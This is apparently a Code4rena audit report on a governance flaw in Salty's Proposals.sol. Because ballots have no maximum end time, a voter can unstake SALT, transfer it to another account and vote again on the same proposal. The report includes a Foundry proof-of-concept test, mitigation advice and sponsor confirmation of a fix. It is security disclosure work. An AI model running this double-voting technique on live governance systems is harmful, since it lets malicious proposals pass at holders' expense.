Reusing a SALT that has already been used for voting can allow a malicious proposal to pass and compromise the protocol.

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L385-L400

Vulnerability details

Impact

Reuse of SALT that has already been used for voting could allow a malicious proposal to pass and compromise the protocol.

Details

castVote is a function that votes as much SALT as is being staked on the proposal.

function castVote( uint256 ballotID, Vote vote ) external nonReentrant
        {
        Ballot memory ballot = ballots[ballotID];
...
        uint256 userVotingPower = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
        require( userVotingPower > 0, "Staked SALT required to vote" );

        // Remove any previous votes made by the user on the ballot
        UserVote memory lastVote = _lastUserVoteForBallot[ballotID][msg.sender];

        // Undo the last vote?
@>      if ( lastVote.votingPower > 0 )
@>          _votesCastForBallot[ballotID][lastVote.vote] -= lastVote.votingPower;

        // Update the votes cast for the ballot with the user's current voting power
        _votesCastForBallot[ballotID][vote] += userVotingPower;

        // Remember how the user voted in case they change their vote later
        _lastUserVoteForBallot[ballotID][msg.sender] = UserVote( vote, userVotingPower );

        emit VoteCast(msg.sender, ballotID, vote, userVotingPower);
        }

Calling it again on a proposal that has already been voted on will revert the existing vote.

Therefore, the same account cannot vote multiple times on the same proposal. However, it is possible to re-vote by unstaking SALT and transferring it to another account.

// Checks that ballot is live, and minimumEndTime and quorum have both been reached.
    function canFinalizeBallot( uint256 ballotID ) external view returns (bool)
        {
        Ballot memory ballot = ballots[ballotID];
        if ( ! ballot.ballotIsLive )
            return false;

        // Check that the minimum duration has passed
@>        if (block.timestamp < ballot.ballotMinimumEndTime )
            return false;

        // Check that the required quorum has been reached
        if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
            return false;

        return true;
        }

The reason this is a viable attack is because the conditions under which a proposal can be finalized are unusual.

In a typical voting system, there is a period of time during which a proposal can be voted on, and if it does not meet the quorum, it is dropped, and if it does, the ratio of upvotes to downvotes determines whether it should be executed.

However, Salty's voting system allows the voting period to be infinitely long if the quorum is not met. In other words, if the voting lasts longer than the period required to unstake SALT, it can be unstaked and transferred to another account to vote again.

Salty will be launched on the Ethereum mainnet, which means that voting will be quite expensive. With no delegates, the current specification requires many individual votes to achieve a quorum. This means that users may not actively vote for outrageous votes, which could lead to a longer proposal voting period.

The scenario for the attack is as follows

1. Staking SALT
2. Create a malicious proposal
3. Vote YES
4. Unstake SALT
5. Wait for unstake and recover
6. Send SALT to other account
7. Staking SALT
8. Vote YES

Proof of Concept

function testChangeVotesAfterUnstakingSALTAndTransferPOC() public {
        vm.startPrank(alice);

        address randomAddress = address(0x543210);

        // STEP 1: Staking SALT
        staking.stakeSALT(100000 ether);

        // STEP 2: Create a malicious proposal
        uint256 ballotID = proposals.proposeCallContract(randomAddress, 1000, "Malicious call" );

        // STEP 3: Vote YES
        proposals.castVote(ballotID, Vote.YES);

        // STEP 4: Unstake SALT
        uint256 id = staking.unstake(100000 ether, 2 );

        // STEP 5: Wait for unstake and recover
        vm.warp(block.timestamp + 100 weeks);
        staking.recoverSALT(id);

        // STEP 6: Send SALT to other account
        salt.transfer(bob, 100000 ether);
        vm.stopPrank();

        // STEP 7: Staking SALT
        vm.startPrank(bob);

        // STEP 8: Vote YES
        staking.stakeSALT(100000 ether);
        proposals.castVote(ballotID, Vote.YES); // result: 200000

        console.log(proposals.votesCastForBallot(ballotID, Vote.YES));
    }

Recommended Mitigation Steps

A short-term solution is to use ballotMaximumEndTime to prevent votes from lasting too long.

A more fundamental solution would be to take a snapshot of the staked SALT and make it available for voting, like ERC20Votes, to prevent re-voting after a transfer.

Assessed type

Governance

[c4-judge]

Picodes marked the issue as duplicate of #746

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report

[c4-sponsor]

othernet-global (sponsor) acknowledged

[c4-sponsor]

othernet-global (sponsor) confirmed

[othernet-global]

ballotMaximumDuration added. There is now a default 30 day period after which ballots can be removed by any user.

https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0